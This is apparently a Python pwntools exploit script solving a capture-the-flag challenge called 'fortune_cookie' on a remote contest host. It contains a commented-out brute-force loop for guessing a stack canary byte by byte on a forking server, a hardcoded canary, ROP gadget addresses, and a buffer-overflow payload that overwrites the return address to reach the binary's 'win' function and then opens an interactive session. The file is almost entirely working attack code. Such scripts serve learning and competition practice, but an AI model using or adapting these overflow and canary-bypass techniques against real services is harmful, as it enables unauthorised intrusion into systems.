#!/usr/bin/env python3
import time

from pwn import *

HOST, PORT = "offsec.m0lecon.it", 13569
# HOST, PORT = '127.0.0.1', 4444
OFFSET_TO_CANARY = 72
OFFSET_TO_RIP = OFFSET_TO_CANARY + 8 + 8

elf = ELF("./fortune_cookie", checksec=False)

# bruteforce canary on fork server
known = b"\x00"
"""for i in range(7):
    for bval in range(256):
        guess = known + bytes([bval])
        payload = b"A" * OFFSET_TO_CANARY + guess

        io = remote(HOST, PORT, level='error')
        io.recvuntil(b"wish\n")
        io.send(payload)
        try:
            data = io.recv(timeout=0.2)
        except EOFError:
            data = b""
        io.close()

        if b"OK" in data:
            known = guess
            log.success(f"byte {i+1}: {bval:02x}")
            break
"""
# canary = u64(known)
canary = 0x4F03B0B41EBDDB00
log.info(f"Canary: {canary:#x}")
# gadget = 0x4013cf
gadget = 0x000000000040190D
gadget4 = 0x0000000000401016
gadget3 = 0x0000000000401438
gadget2 = 0x40101A
io = remote(HOST, PORT)
io.recvuntil(b"wish\n")
payload = flat(
    b"A" * OFFSET_TO_CANARY,
    p64(canary),
    # b'B' * 8,
    b"B" * (OFFSET_TO_RIP - OFFSET_TO_CANARY - 8),
    p64(gadget2),  # Gadget
    p64(elf.sym.win),
)
io.send(payload)
# io.recvline()
io.interactive()
# io.sendline(b'ls')
io.recvline()
